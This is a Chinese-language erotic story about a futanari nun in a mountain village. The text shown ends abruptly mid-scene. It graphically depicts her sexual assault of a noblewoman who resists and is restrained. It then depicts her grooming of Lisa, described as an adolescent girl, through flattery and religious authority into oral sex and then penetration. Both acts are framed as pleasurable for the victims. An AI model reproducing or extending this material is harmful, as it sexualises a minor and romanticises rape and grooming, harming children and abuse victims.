春季偏涼的晚風猶如情緒當頭的千金小姐,時而暴躁得難以捉摸,時而溫吞柔弱得可憐,一陣陣飽富情感的夜風吹向鄉野村莊中的老舊教堂。年輕的朵琳修女在夜風呼嘯聲中執起燭台,依序關上震動得很厲害的窗門,踏著沉穩的步伐來到告解室。
燭光喚醒了沉睡於黑暗中的女神像,祂那優雅脫俗的微笑似乎總是很滿意村民們進獻的粗糙高腳桌,不像城鎮裡的大型神像得花好幾人無微不至地照料。說起來,這麼一尊雕工不臻完美、石材品質尚可的量產女神像,也只有在偏鄉地帶能發揮祂應有的能耐。
朵琳修女用手中燭台點燃女神像兩側的蠟燭,加倍盛放的光芒照耀著她身上稍嫌凌亂的黑色長袍,以及金色秀髮下那副與女神像有幾分神似的美麗微笑。朵琳以輕柔的動作將燭台置於高腳桌上,雙手合十,脖子向前微傾。無聲的禱告在呼嗚嗚的風聲中悄然展開純白色羽翼,替朵琳卸下了她身上的黑色修道服,獨留一件做工精美的白色吊帶襪。
「神啊,我有罪──」
下沉的禱聲與昂揚的白紗交會後迸散。合十雙掌帶著微熱的汗光敞開,在修女注視下緩緩伸往女神像。朵琳將沉默不語的女神像擁入豐滿暖和的胸口,覆著白襪的長腿輕輕展開。橙黃色火光照亮了年輕修女抱緊石像後逐漸脹挺的乳頭,還有她那弄濕了內褲、隔著薄透白紗不停抖動的肉棒。
「我的罪是──」
越發張狂的夜風使整間告解室叩隆叩隆地搖晃,忽然一扇窗戶被強風吹開,捲入室內的冷風吹熄了修女點起的裝飾燭火,把她的懺悔揮散成一片籠罩整座村子的晴空。
初次見到那位女士,是在十八歲的朵琳背著兩套修道服與好幾本經典、手提包裝得像酒廠促銷品的女神像,一個人孤伶伶地握緊派任書來到這個村莊的日子。
這是座人口不及百人的山中小村,距離最近的行政區要走一個禮拜的山路,唯獨繳交年貢時期能看見來自行政區的官員與警備隊員。這種地方唯一稱得上權貴人士、勉強和國家二字扯上關係的,只有在地深耕數十載的帕索家族。
年方二十五的唐娜‧帕索夫人在朵琳赴任的那天帶著她遊覽整個村子,儘管兩人相差好幾歲,朵琳卻能從開朗的夫人身上感受到賓至如歸的愜意。她很快就透過唐娜的眼界認識她所負責的教區,也與這位年輕夫人結下姊妹良緣。
唐娜夫人是在各方面竭力表現得很一流的鄉村貴族,有著一頭梳理得很整齊的栗子色長髮。因為這是個鳥不生蛋的窮鄉僻壤,沒有對照組可以參考,朵琳也不曉得唐娜算是很厲害還是很遜。可以確定的是,唐娜完全沒有行政區那班上流人士令人惱怒的傲氣。比起鄉村貴族這個字眼,鄰家大姊姊更符合唐娜給她的感覺。
「早安呀,新家打理得怎麼樣啦──我帶了葡萄酒哦!」
穿上修道服的頭兩天,朵琳壓根沒心思去整頓門面,光是這間教會買下來的小屋就亂得毫無天理。在她埋首對付滿屋子塵埃、洗曬床被單與窗簾、抓起針線縫縫補補的時候,只有看上去整天閒閒沒事做的唐娜會抱著大包小包登門造訪。
「帕索夫人,您早。」
正在佈置告解室的朵琳從小隔間探出頭道早,然後急急忙忙把手上東西放在小台子上,拍了拍掌心走出來。唐娜見她一大早就忙到額頭出汗,笑吟吟的雙眼敬佩地彎起。或許是鄉村貴族的關係,她做起表情不像「上流」那種人懷有工於心計的情感,而是很純樸的說一是一、道二是二,以至於那道眼神在朵琳看來真有股受到年長姊姊稱讚的愉快。
「哎,和妳說過叫我名字就好啦。來,喝兩杯嗎?」
唐娜從袋子裡拿出兩只小姆指高的小酒杯,故作瀟灑地對朵琳輕晃。朵琳笑了。因為唐娜說話時總喜歡讓尾音繞來繞去,聽起來好像會比較高貴。短短兩句話已經出現「呀」、「啦」、「哦」、「哎」、「嗎」等五種繞法,在朵琳聽來倒有種畫虎不成反類犬的可愛。
「一小杯就好。」
「再配點麵包呀!」
「嗯,好……謝謝您。」
「『您』就不必啦。我們這兒沒人會這樣說話哦。來,給妳囉。」
「好,我知道了。謝謝。」
被唐娜糾正講話也帶給朵琳有趣的彆扭感,要是唐娜說話順便帶出手部動作就更具趣味了。接過小杯葡萄酒和分量稍嫌豪邁的雜糧麵包,朵琳嘴角舒服地上揚。
唐娜的好客沒有多餘的心機,純粹是一個人在家太無聊了。村裡每年總有一、兩個外地來的新血,但是會跑來這裡定居的多半是上了年紀、感受不到多少活力的老人家。朵琳的出現著實驚豔到她,也為兩人帶來迅速加溫的友誼。
「話說回來,教會還真小家子氣啊。我有和妳說過嗎?他們連實地走訪都沒有哦,只向村長說要買一塊地呢。喏,就是這間囉。」
朵琳很喜歡唐娜說話的樣子,口感略澀的酒液使滑溜溜的尾音聽起來格外舒服,也讓這位年輕貴婦的身姿變得十分性感。勞動過後的身體在暖起來的肚子與香甜酒氣中舒緩下來,朵琳像個睡前在燭光下聆聽故事的孩子,靜靜聽著唐娜的聲音、凝視那對優雅撥動的嘴唇。說好只喝一杯的葡萄酒,也在唐娜執起酒瓶時主動向她續杯。
「對了對了,妳還沒見過內子呢──哎,其實沒什麼必要,他總是很忙,不曉得在忙什麼。就算妳把教堂搬進我們家,一年到頭說不定還見不上面。他就是這樣的大忙人。」
當唐娜說起自家事,語氣就不再裝模作樣,樸素直接的說話方式使朵琳聯想到木鑿,喀喀地雕刻出這個女人的真實樣貌。因為朵琳續杯了,這副模樣對她來說也很誘人。
「啊,抱歉呢!都在說我的事,妳聽了也很無聊吧!」
朵琳搖搖頭,掌心裡的杯子又傳出了咕嘟咕嘟的聲響。
「待會還要繼續做家務的人,只能喝到第三杯哦。教會也真沒良心吶,連塊堪用布都不給妳帶呢。別擔心!過幾天就是布料商到村的日子呀,我會親自幫妳挑幾捲上等布哦!」
漸漸的,不管是什麼樣的唐娜,在朵琳眼中都形成一股有著成熟韻味的誘惑。本身對酒精沒多少抵抗力的朵琳放鬆過了頭,不知不覺就露出她那和尋常女孩不太相同的一面。
「哎呀,朵琳妳的袍子……」
那是從黑色修道服股間部位產生的異樣隆起。
「椅子壞了嗎?有沒有弄傷?妳先別動,我來看看哦……」
唐娜的溫柔與無知揉合出十分滑溜的暖意,這陣暖意在一無所知的情況下和修道服隱藏的異臭接觸了。
「有股味道……」
唐娜謹慎小心地掀開黑袍、窺視修道服內裏。她原以為是木椅釘子鬆脫、木板翹起來之類的小意外,不料映入眼簾的卻是她只在老公身上看過的東西。
「……咦?」
這一瞬間,朵琳輕飄飄的腦袋閃過許多稍縱即逝的念頭。
──扶他修女會。鄉下人當然不知道有這樣的旁支吧。解釋起來好麻煩哦。
──唐娜夫人好香。她每天都好香。她是天天洗澡嗎?這樣太不純潔了。
──袍子掀開來味道就變得非常重。還沒到教規規定的下體清潔日,雞雞已經好臭了。
──唐娜夫人在看我的雞雞,用那種引人遐想的紅潤臉蛋。
──唐娜夫人嘴唇好飽滿。看起來好柔軟。好色。
──唐娜夫人……
「哎……哎呀!嚇我一跳呢!」
在眼皮半垂的朵琳眼裡,唐娜光是沒有嚇得立刻離開,就給了她十足的曖昧解釋。以此為基礎所打造的濾鏡,讓這位年輕夫人舉手投足都帶有特別的魅力。
「該怎麼說……呃……很大!不對……很健康,嗯,很健康呢!還有就是……味道很濃……哎,我到底在說什麼……」
唐娜窺見朵琳私密處後不經意散發出來的雌性費洛蒙悄悄傳開,股間有所反應的朵琳輕易捕捉到這股香味,軟綿綿的理性直接融化了。
「朵琳,那個,我看今天就到這──呀啊!」
回過神來,朵琳熱燙的身體已撲向紅著臉蛋、準備起身的唐娜,兩人一同滾落在地。唐娜胸前的老舊馬甲啪喀一聲綻開,束縛其中的乳肉洶湧地自枯葉色上衣隆起,往朵琳胸口擠出一片暖洋洋且有點香的柔軟觸感。臉上漾出兩片小紅暈的朵琳撩起袍子,隱藏在修道服底下的肉棒赤裸裸地現身,甫一登場便往唐娜微啟的雙腿內側頂去。
「嗚……!」
眼見唐娜張開嘴巴,朵琳反射性用右手壓住她的嘴,左手繼黑袍後接著將唐娜的長裙從腰間扯下。儘管唐娜比朵琳年長七歲,身材也比她高大些,卻因為慌張失措而被朵琳壓制住,碩大豐滿的枯葉色巨乳也被兩團堅挺的黑色乳房粗魯地壓扁。
「唐娜……夫人。妳看到人家的雞雞了……」
「嗯嗚嗚!」
「噓……別亂動,裙子會扯壞哦。」
「嗚咕!」
朵琳稍微壓低聲音,讓稚氣未脫的嗓音添了分磁性,聽起來好像對這方面很有經驗。雖然這不過是她的即興發揮,倒是順利讓唐娜產生誤解。以往不曾被強迫發生性行為的唐娜,儘管情緒依然緊繃、腦袋也十分混亂,卻因為先前對朵琳累積的好感、發揮作用的酒精、以為朵琳很有經驗的誤判,使她在某種程度上感到了「放心」──這是非常短暫的錯覺,卻在它消失前被朵琳逮個正著。
長裙經由朵琳之手緩緩退下,氣味濃厚的夫人私密處一覽無遺地曝露出來。唐娜大腿內側生有相當濃密的陰毛,從皺褶輕微的蜜桃色肉縫兩側往上一路攀至恥丘,宛如一座林中花園。由於唐娜經常入浴,這片栗色陰毛再怎麼茂密,看起來仍是絲絲分明,味道相對於一般女性沒那麼惡劣,但也算是濃厚了。加倍濃郁的雌性費洛蒙乘著肉縫傳出的氣味飄向朵琳,牽動了她那比起修道院姊妹們……甚至比許多成年男性都來得壯碩的肉棒。
朵琳的肉棒在名喚唐娜夫人的蜜香催化下完全勃起,其長度為十八點六公分,幾乎和成年男子的前臂一樣長;粗度由六點二公分起跳,龜頭環及包皮繫帶連接部位最寬可達七公分,相當於身材壯碩的樵夫手腕那麼粗。然而比起形狀粗暴的莖身,最先吸引唐娜注意的反而是龜頭上密密麻麻的乳白色及乳黃色包皮垢。畢竟教規規定每個月最多只能清潔一次下體,正值青春年華的朵琳又天天勞動出汗,說實話也很常自慰,日日積累的包皮垢與汗垢已經在她的肉色大龜頭上結成滿滿一片好像下過雪的乳色臭垢。
遮住夫人嘴巴的右手因為充血的肉棒碰觸到大腿而鬆懈,聞到濃臭包皮垢臭味的唐娜登時彎起眉毛、嘟起濕潤的雙唇輕喊:
「好臭……!」
話剛說出口,唐娜擔心刺激到朵琳趕緊閉嘴。不過朵琳並不在意,反倒視之為褒獎。她明白這股臭味對於經常洗澡的唐娜來說過於刺激,可是在扶他修女雲集的修道院裡,大家袍子下都是這麼臭的,有些人甚至修道服內側都會黏上許多包皮垢。也因為像她這種好色的小修女不在少數,朵琳早已將如此腥臭的包皮垢和興奮劑劃上等號。現在她就要將無形的針筒刺入唐娜皮膚下,讓夫人也能體會這種歡愉。
「唐娜夫人的味道非常濃郁呢。妳果然也想做,對吧?」
「才沒有……」
亂成一團的腦袋尚在發熱,唐娜心想,或許朵琳真的是在惡作劇也說不定──連這荒唐的想法都沒能編織完成,朵琳已經主動將她的垢臭肉棒推往唐娜的陰戶。氣味猛烈的乳色臭垢自唐娜左大腿一路黏稠地往肉穴塗過去,形狀粗暴的熱燙龜頭頂向穴口之際,夫人漂亮的雙眼頓時瞪大。
「我要進到唐娜夫人裡面囉……」
「等、等一下……!」
「等不及了唷──嘿!」
咕滋滋!
「……哦齁!」
朵琳用力一推,青筋浮起的白皙巨屌應聲撞開夫人的肉壺,在濕淋淋的淫水牽引下,順利將遍佈包皮垢的碩大龜頭整顆推進肉穴裡。過於紮實的觸感把分泌了不少愛液的陰道撐鼓起來,朵琳興奮不已地抖動肉棒,龜頭上的黏熱臭垢紛紛朝濕熱的肉壁塗抹開來。咕啾作響的濃毛肉穴飄出大量包皮垢混雜淫水後的渾厚腥臭味,腦袋亂糟糟的唐娜吸入這陣淫臭味後更加混亂了。
──粗大。
──比丈夫的性器官更粗,更大,更燙,而且更臭。
──僅僅是被放入龜頭,擴張開來的卻不只是陰道前端,好像連深處都被打開了。
──明明是這麼粗暴又骯髒的玩意,為什麼……
「唐娜夫人的肉穴,緊緊吸著人家的雞雞呢……好舒服哦……」
咕啾!咕滋!
「齁哦哦……!」
侵入體內的龜頭是如此濃臭熱燙,每次抖動都強力到讓唐娜酥麻一顫,含住肉棒的穴口噴出的臭氣亦使她興奮莫名。每當她試圖凝聚意識來反抗朵琳的行為,對方就像識破一般予以刺激,雙方交手個三、五次,一次比一次還要令唐娜鬆懈。就在唐娜快要招架不住的時候,不停試探的朵琳終於正式向前邁進,以溫柔但強勁的力道緩緩把肉棒塞進唐娜的濕穴中。
「唐娜夫人的小穴好濕、好柔軟哦……呼嗯!」
「咕齁……!不……不可以……!不可以再進來了……!啊啊……!」
滋咕、滋嚕──
「哦齁……!要被……打開了……!」
──滋啾嚕嚕!
「哦齁哦哦哦……!」
灼熱鼓脹的桃紅色龜頭一路往唐娜的肉穴深插到底,由於這根肉棒實在太粗、太大了,唐娜的肉穴幾乎全程緊吸肉棒,龜頭上的包皮垢也在途中不斷往陰道左右及上側塗開,讓初嚐巨大肉棒的唐娜下體噴出更濃臭的腥味。全力擴張的陰道還來不及適應尺寸極度不講理的粗壯陽具,臉頰紅通通的朵琳便趴上來吻住唐娜,接吻同時緩慢地動起了腰。
「嗯啾!啾嚕!啾嚕!啾咕!」
「嗯呼……!呼……!嗯嗚……!」
啪滋!啪滋!
朵琳伸手將垂落下來的黑袍推開,和肉棒一樣雪白的翹臀泛出少許汗光,啪啪地撞擊著底下那對顏色較深、脂肪也更豐富的淺麥色巨臀。唐娜的肉壺由裡到外沾滿將近整月分的包皮垢,原本味道就夠濃了,待朵琳開始壓著她抽插,濃毛肉穴彷彿喇叭般噗噗地迸出惡臭的響聲。伴隨肉穴放屁聲而至的,是經過攪拌後混雜得更腥、更臭的垢汁淫水味。
唐娜從未體驗過這種快狠準的做愛模式:沒有事先灑上清香的花草碎末、沒有先行入浴、也沒有從綿綿情話開始的氣氛營造。朵琳利用她的驚愕與混亂趁虛而入,所有動作一次到位,當她認知到這和往常與丈夫行房是同一件事,肉穴已經被朵琳的熱燙巨根完全灌滿、肆無忌憚地搗弄著。
「咕嗚……!呼……!呼齁……!齁哦……!齁哦哦……!」
啪滋!啪滋!啪!啪滋!
儘管唐娜的腦袋慢了好幾拍才跟上朵琳的速攻節奏,其實身體早已迎合這根壯碩到令她十分有感的老二,整個肉壺前所未有地發熱、大力收縮著,淫水氾濫得宛如初次覺醒性愉悅的女子。她的腦中還有些反抗的聲音,這些聲音全部消失在朵琳美妙的唇舌功夫下。那對沾染兩人唾液的粉嫩嘴唇移開後,唐娜嘴裡喊出來的只剩下努力消化著巨屌快感的淫吼聲了。
「唐娜夫人的小穴,越纏越緊了呢……!」
「齁哦……!齁咕……!咕、咕嗚……!呼……!呼……!」
啪滋!噗滋!噗咕咕──啪滋!啪滋!
「嗚齁……!哦……哦哦……!」
朵琳每隔一段時間就放鬆身體往下壓,用她的粗壯肉棒深插到底、強行將唐娜的肉穴拉直,頂著一片薄垢的龜頭熱情地吻向夫人的子宮頸。正面頂住肥軟頸口的腥臭龜頭隨著朵琳扭腰而左右轉動,滋滋刮響毫無抵抗力的子宮,把唐娜刮得又痠又疼,整個下半身都脫力了。這股讓她在羞恥中脫力的酥麻感沒有持續發酵,朵琳便切換回連續抽插模式,啪啪地搗弄這塊肥美多汁的人妻肉穴。
「唐娜夫人,妳知道這個地方叫做子宮嗎?是孕育小寶寶的地方哦。」
「齁……!齁……!齁咕……!子、子宮……?我沒……聽過……嗯、嗯齁!」
啪滋!啪滋!啪咕!噗滋滋──滋咕、滋嚕、滋嚕、滋啾嚕!
「齁哦……!齁哦哦……!別頂那個地方啊啊啊……!」
唐娜從來沒聽過子宮這詞,雖然她有見識過村人接生現場,大家也都沒說陰道深處那團粉紅色圓鼓鼓的玩意叫什麼。現在朵琳一邊用熱脹龜頭磨蹭她的頸口、一邊教導她,濕滑頸口不斷被頂蹭發痠的唐娜,就在這陣痠疼不已、卻反常地使她興奮起來的複雜感覺中記住了這個字。
「不要一直頂人家子宮啊……!噫噫噫噫……!」
看到唐娜露出跟平常截然不同、結合難過與享受的表情,朵琳的肉棒受到極大鼓舞,鼓脹的睪丸準備好隨時將濃稠熱燙的精液送入尿道。她伏下身去,給了表情扭曲著齁齁叫的唐娜深情一吻。冒出白沫的銀絲分開兩對嘴唇後,朵琳傾全身之力壓制因持續脫力而漏尿的唐娜,在金黃色尿水淅瀝瀝地漏出時猛幹她的濕黏肉穴。
這次沒有中途停下,橫衝直撞的龜頭亦不再針對子宮頸做出精密蹭弄,朵琳只是不斷地動著淋上熱汗的雪白翹臀,把被粗壯巨屌幹到酥麻得說不出話、只能抱緊她呻吟的唐娜一口氣操到高潮。
「齁哦……!齁哦……!不……不行了……!朵琳……!我受不了了……!嗯齁……!嗯齁哦哦哦──!」
滋噗!滋咕!滋嚕噗!
在全方位壓倒性勝過丈夫的粗壯肉棒抽插下,鄉村貴婦的人妻肉穴終於宣告敗北。淫汁不斷從高速活塞中的淫肉濺出,濕暖肉壁以最大力道收縮的同時,沾了淫水後濕亮一片的屁眼也情不自禁地縮放著。唐娜的高潮完全反映在吸緊陽具的肉穴上,這股激昂毫無保留地傳進朵琳的肉棒,使她那幹到整根發燙的老二再也忍不住,乘著高潮收縮的肉穴吸力一股腦兒地射了出去。
「唐娜夫人……呵嗚!」
啪滋!啪滋!啪滋!啪滋噗──噗咻!噗咻!
「齁哦哦哦……!」
快速打樁的粗壯肉棒瀕臨極限的瞬間深插到底,汗液滿佈的白皙翹臀使勁壓緊頻頻顫抖的淺麥色巨臀,以不容反抗的壓制力支配了高潮正爽的雌(唐)肉(娜),緊接著透過重新吻住子宮頸的灼熱龜頭噴出黏熱濃臭的精液。
大量精液從壓制子宮的龜頭四周潑灑開來,其中一部分筆直注入黏液密佈的子宮頸,以數量優勢突破了保護夫人的黏液,堂而皇之地灌飽她的子宮。朵琳濕熱的眼皮半垂,彎下頭去親吻表情恍惚的唐娜。渾身浴汗的兩人抱緊彼此,直到源源不絕的濃精注射完畢,乃至於精液肉壺繼續被粗壯巨屌操得死去活來之後……
沒有舍監來阻止。
沒有大修女的訓話。
沒有誰來對犯錯的她降下懲戒。
這裡只有唐娜夫人溫暖又淫蕩的肉穴,以及兩人共同營造的歡愉。
──即使是沒有受到懲罰的我,仍然屬於有罪之身嗎?
──那麼,我的罪就是……
沉寂一時的夜風驟起,將描繪著唐娜夫人美麗身影的書頁吹得啪啦響,一連翻過數十張修女和夫人的秘密記事,最後停在一張陰鬱得彷彿隨時會降雨的山丘風景畫。
山丘上的小教堂花了好一段時間才被村民們接納,不少人仍堅持原本自由自在的信仰,有些人則開始接受信仰宗教化。朵琳雖是修女之身,由於她是當地唯一的教會人員,無暇在偏遠地帶投入資源的教會便宜行事,賦予了朵琳神職人員的職務。
每當有村民上門受洗,朵琳就往她的黑色修道服披上夫人手織的金線白披肩,挺起最近意氣風發到有點囂張的肉棒──不不,得在從寢室步入兼做大廳的告解室前平息下來──以萬全之姿來到瀰漫著淡淡不安感的告解室。受洗在告解室前面的小空地進行,門窗皆閉,狹窄的空間讓朵琳身上的氣味很難不被發現。要是隔壁寢室內還躺著雙腿開開、仰首喘息的夫人,修道服的味道將會重到不行。
通常朵琳會在儀式正式開始前聚精會神、摒除雜念,偶爾也有害她難以集中精神的情況。
「朵琳修女,我聽說受洗要很久耶,可不可以快一點?我中午有場約會,是跟住在石頭池的兄弟三人組的老麼,很帥的那個哦!」
例如費盡心思打扮卻沒什麼成效,只好用裸露上半球來博取目光的聒噪女子,彎身時咖啡色乳暈都跑出來了。
「朵琳修女妳好,我是帕索夫人介紹來的,好像說是要受洗……我也不太清楚……」
例如身材豐腴但衣服厚度偷工減料,看似敦厚卻又以碩大乳袋和激凸奶頭誘惑她的年長女性。
「……先說好,我一點都不想來喔?我最討厭妳那種假惺惺的笑臉了!」
例如正處於情緒難以捉摸的青春期、身體先一步發育成熟的潑辣少女──這名少女特別使朵琳感興趣,因為只有她不是上門受洗,而是她的雙親拜託朵琳讓她到這裡幫忙。少女和家人似乎有某種約定,才不太甘願地每幾天就造訪小教堂。
「我正想妳差不多該來了呢,莉莎。這幾天過得好嗎?」
「關妳屁──」
名喚莉莎的少女心情不是很好,這任誰都看得出來,但朵琳還是故意這麼問。先前見面時也發生相同的事情,莉莎已經對只年長她幾歲的朵琳發過好幾次脾氣。可是朵琳總是微笑以對,一點兒也不在意她的惡言惡語,讓莉莎覺得好像只有自己在無理取鬧,非常沒勁。她認為一如往常地生氣只會被朵琳暗自嘲笑,所以這次她只繃著一張臉,換個球路對付朵琳。
「──沒啥。就那樣啊。妳知道的啦。」
莉莎很中意那句「妳知道的」她覺得這可以很強力地諷刺笑吟吟的朵琳,而且又短又酷。儘管她壓根不明白諷刺這兩個字的意思,好像是哪天父親從酒館回來時說的話吧。
「嗯,我知道哦。女神大人告訴我的。」
「啊哈!妳少來!如果妳真的知道……」
莉莎話嗆到一半,鋒利的氣勢忽然又在朵琳的笑臉前消散了。這是因為她想起朵琳那一套惱人的應對法。朵琳的邏輯(莉莎不懂這個詞,但依稀曉得大致的意思)是繞著神明轉,莉莎則是效法經常從酒館帶回新聞趣事的父親,是很直覺的經驗法則。可惜莉莎的腦袋不很靈光,縱使她認為自己的理論出發點沒錯,還是會被能言善道又溫柔的朵琳牽著鼻子走,最後都會被朵琳唸出滿滿的挫折。
眼見莉莎欲言又止、瞬間激昂的情緒也快速冷卻,朵琳上揚的嘴角咧得更深了。她來到臉紅垂首的莉莎身旁,彎著頭輕聲說道:
「沒關係的,我都明白哦。就是那樣嘛,對不對?」
「……嗯。」
朵琳比莉莎高半顆頭,當她們一人挺起胸膛、一人彎腰駝背,個子較高的朵琳就能輕鬆窺見莉莎那件寬鬆衣服內的渾圓乳肉。若是看到粉紅色的可口乳頭,黑袍下的肉棒可是會興奮到不斷顫動。朵琳在其他村民面前多少會遮掩一下,對象換成莉莎,就毫不掩飾蠢蠢欲動的股間了。
「莉莎既然到了這裡,就不需要一直那麼辛苦地偽裝自己。」
「我哪有偽裝……」
噗通。噗通。
當朵琳繞著莉莎踏出沉穩的步伐,莉莎的注意力很快就被隨腳步聲顫動的黑袍突起物吸引過去。
「女神大人無時無刻看顧著我們。在祂全能的聖眼裡,我們只管做自己便行。」
「我聽不懂啦……」
噗通。噗通。
莉莎試著不被朵琳悅耳的嗓音吸引,她的腦袋其實也弄不明白拐彎抹角的說法。
「怎麼會不懂呢?妳當然懂呀。我知道的。我知道莉莎是很聰明的孩子哦!」
「呃嗚……」
噗通。噗通。
然而,就算她聽不懂,腦海卻浮現出朵琳溫柔的聲音所建立的模糊概念。
朵琳什麼都懂,比村長和大人們都還要懂。因為她是從城鎮來的。因為她是神明的僕人。不,比起這些大人口中的原因,莉莎更傾向於朵琳的溫柔。那股溫柔彷彿能包容世間萬物,連母親都受不了的壞脾氣也無法撼動,而且每次見面都會強而有力地滲透進來,滲入她的心裡。
對莉莎來說,朵琳之所以懂,是因為她持續不斷地往她心裡注入暖和的感覺。雖然實際上朵琳並沒有真正深入地了解她,卻給了她被理解及被肯定的愉快。一旦裝腔作勢的警戒態度被朵琳繞過去、進入這種溫暖大放送狀態,莉莎所有的傲氣都由內而外瓦解了。
「莉莎是聰明的孩子,是能幹的孩子,只有這樣的莉莎能夠幫助我,其他孩子都辦不到哦。」
「……嗯!我會加油的!」
噗通!噗通!
起初還混雜害怕、厭惡及抗拒的眼神,就在朵琳不停灌注的暖意中柔化成有點害羞的自信。莉莎雙眼依舊盯著黑袍的隆起痕跡,耳朵聽到的不只是朵琳給予的肯定與激勵,還有越發響亮的心跳聲。
繞著莉莎緩緩走動的朵琳終於停下腳步時,兩人已置身於黑袍傳出的濃郁腥臭味中。按照朵琳一時興起的說法,這個叫做「聖能喜悅」。
「來,莉莎,我感覺到神恩已然降臨。我必須克盡僕人的職責,請妳和我一起努力,好嗎?」
「我知道了,朵……朵琳修女!」
噗通!噗通!
不久前還一副壞孩子模樣的莉莎,現在就像朵琳專用小幫手,眉開眼笑、雙頰泛紅,懷著滿滿的自信給朵琳牽著手進入告解室。在心情轉換後的莉莎聽來,朵琳的一言一語都充滿威嚴和溫柔,猶似嚴父慈母的合體。聽不懂的單字還是聽不懂,難以理解的用語當然還是難以理解。不過呢,因為這些都是溫柔的朵琳所說的,那就不會有錯──在狹窄告解室內脫光衣服、與朵琳裸體以對的莉莎如此深信著。
莉莎並非不懂裸體的意義,但是她也相信朵琳要她脫掉衣服絕非出於慾望,選在能見度極差的告解室裡寬衣就是最好的證明。反倒是與美麗溫柔的年長女子肌膚相親而小鹿亂撞的自己太骯髒了。這種盲目的崇拜使莉莎合理化朵琳的一切,其中也包含朵琳要她一同努力的事項。
感受著朵琳的吐息、感受著若即若離的肌膚觸感,莉莎緊張到渾身酥麻,心跳加速地按照朵琳指示蹲下來。待朵琳坐到位子上、雙腿在黑暗中拉開小小的方形空間,一直以來蠢動的腥臭味登時襲向面紅耳赤的莉莎。
「好……好臭哦,朵琳修女……」
「是的,氣味變得非常濃呢。可是我一點也不擔心,知道為什麼嗎?因為莉莎就在這裡,妳就在這裡哦。」
噗通!噗通!
明明是有如起司般凝結於骯髒龜頭上的濃厚包皮垢、以及厚厚一層包皮垢散發出來的激烈腥臭味,在朵琳的柔言軟語下卻讓莉莎感到神聖無比。
──好臭。真的好臭。聞著聞著腦袋都要變奇怪了。
──可是,必須有誰來替朵琳修女清潔才行。
──我是朵琳修女唯一信得過的幫手,只有我能幫助她……
度過一段與其說猶豫、不如稱之為心理準備的時間,無論莉莎有沒有準備好,腦袋早給一陣又一陣的垢臭味薰得暈頭轉向。朵琳見她光是聞到肉棒臭味就呆滯下來,於是彎身輕撫那對發育非常良好的豐滿乳房。
「哈嗯……!」
冠以放鬆心情之名的愛撫開始,藏身黑暗中的青春期巨乳毫無反抗,從碩大的粉紅色乳暈到小巧可愛的粉嫩乳頭,無不給朵琳指尖輕輕劃過、點逗。時而反覆磨蹭,時而恣意滑動,捉摸不定的觸摸很快就令敏感的莉莎乳頭脹挺起來。
「嗯咕……嗯……嗚……嗯嚕、滋嚕、滋嚕!」
莉莎享受著朵琳給予的乳房愛撫,不忘張開濕潤的雙唇,盡己所能地含住半顆再多一點點的龜頭。朵琳的肉棒實在太粗壯了,連龜頭也大得不像話,要至今仍是處女之身的莉莎表現得跟唐娜夫人一樣實在太強人所難。為免三不五時就咬痛朵琳,很有自知之明的莉莎只含入差不多一半的龜頭,在不會失誤的前提下小心服侍。
「啾嚕!啾!啾滋、啾嚕!啾嚕噗……咳呃!咳!」
「慢慢來,不用急。妳已經表現得非常棒了哦,莉莎。」
噗通!噗通!
腦袋與身體雙雙受到鼓舞的莉莎迅速止住給濃稠臭垢嗆到咳嗽的動作,一口氣吞下侵佔嘴腔的腥臭垢汁,繼續用被大量包皮垢薰臭的嘴巴吸舔朵琳的龜頭。吞嚥既苦又臭的垢汁時,莉莎有種很模糊的概念,像是朵琳說過的故事中會有的艱苦修行,也像是正在汲取朵琳身體的一部分。因為對於性行為懵懵無知,莉莎只能在十分受限的條件下自行推敲,結果就是漂亮地誤解了朵琳的行為,還對口交一事做出朦朧的解釋來說服自己。
「嗯啾!嗯嚕!啾、啾滋、啾嚕……嘶嚕!嘶噗!嗯噗!」
「呼……莉莎,妳真的是太棒了……」
噗通!噗通!
莉莎好喜歡朵琳用漸弱語氣來稱讚她,這會讓她腦袋酥麻、皮膚也變得格外敏感。她喜歡朵琳有時柔和、有時強硬地撫弄她的乳頭。她喜歡在朵琳的喘息聲中吞下腥臭垢汁。她喜歡把朵琳的龜頭清理得乾乾淨淨。當朵琳的龜頭不再那麼惡臭,莉莎的大腿內側也變得濕潤柔滑,摸起來有股特別的舒暢感。
「莉莎,來,再用點力……對,對……妳好棒,教一次就學會了……妳好棒哦……妳怎麼可以這麼棒呢?啊啊……要射出來了!」
「嘶嚕!嘶噗!嘶噗!嗚、嗚噗!啾噗!啾咕!嗯……嗯咕嗚!」
噗咻──!
「莉莎,喝下去,全部喝下去……!」
「嗯咕……!嗯……!」
咕嚕!咕嚕!
尚不知曉精液是為何物的巨乳少女,就在朵琳熱脹的肥壯肉棒前張大了嘴、動起舌頭把龜頭射出的精液掃往喉嚨,咕嚕咕嚕地將所有精液一滴不剩地吞進肚子裡。
朵琳緩緩推開告解室的門,光線照入腥臭滿溢的小隔間內,莉莎那張充斥著濃濃精腥味、嘴角還黏著短翹陰毛的羞紅臉蛋從黑暗裡浮現。含苞待放卻又沾染污濁的少女身影,總讓朵琳的肉棒勾著腥黏的汁水頻頻抖動。每次誘使莉莎口交過後沉澱下來的慾火殘渣,時至今日終於盼到死灰復燃的這一刻──朵琳沒有一如往常地穿好衣服,而是端起滿臉通紅、似乎也在期待與她更多接觸的莉莎下巴,露出美到讓莉莎陶醉不已的微笑。
「趴好。手臂伏在椅子上。」
「是的……!」
朵琳的聲音不再溫柔,但依舊甜美。莉莎也不討厭她用簡單好懂的指示來命令她。她按照指令從蹲姿變換成趴姿,在朵琳起身走出告解室後,心跳不已地用雙手枕上那張朵琳在黑暗中坐過的小木椅。
餘溫正盛。
還有朵琳的體味。
莉莎實在太喜歡這陣溫度、這股氣味了,感覺就好像被朵琳擁入懷裡一樣。她情不自禁地吸嗅著朵琳坐過的椅面時,朵琳悄然來到她身後,關上告解室上半部的門。不完整的黑暗重新湧向莉莎四周,只剩一對蜜桃似的翹臀裸露在外。
朵琳在翹高屁股的莉莎背後挺起硬到像根鐵棒的老二,吞了口口水,動手扳開可口的桃臀、進一步以大姆指撥開誘人的濕穴。
「嘶嗯……!」
遮住一半的告解室裡傳出莉莎的吸氣聲,沒有質疑與反抗。就算莉莎真的中途反悔也來不及了。從朵琳語氣轉強硬的瞬間起,她就決定不再好聲好氣地哄這個時常需要投注關愛的小女孩。
她所要做的只有一件事,那就是順從純淨果實的呼喚,迫不得已化身為蛇──咬上一口。
「呃……!」
沉浸於懵懂快樂之中的莉莎,在朵琳以肉棒強勢撞開她的處女穴時驚醒過來。
──粗大。
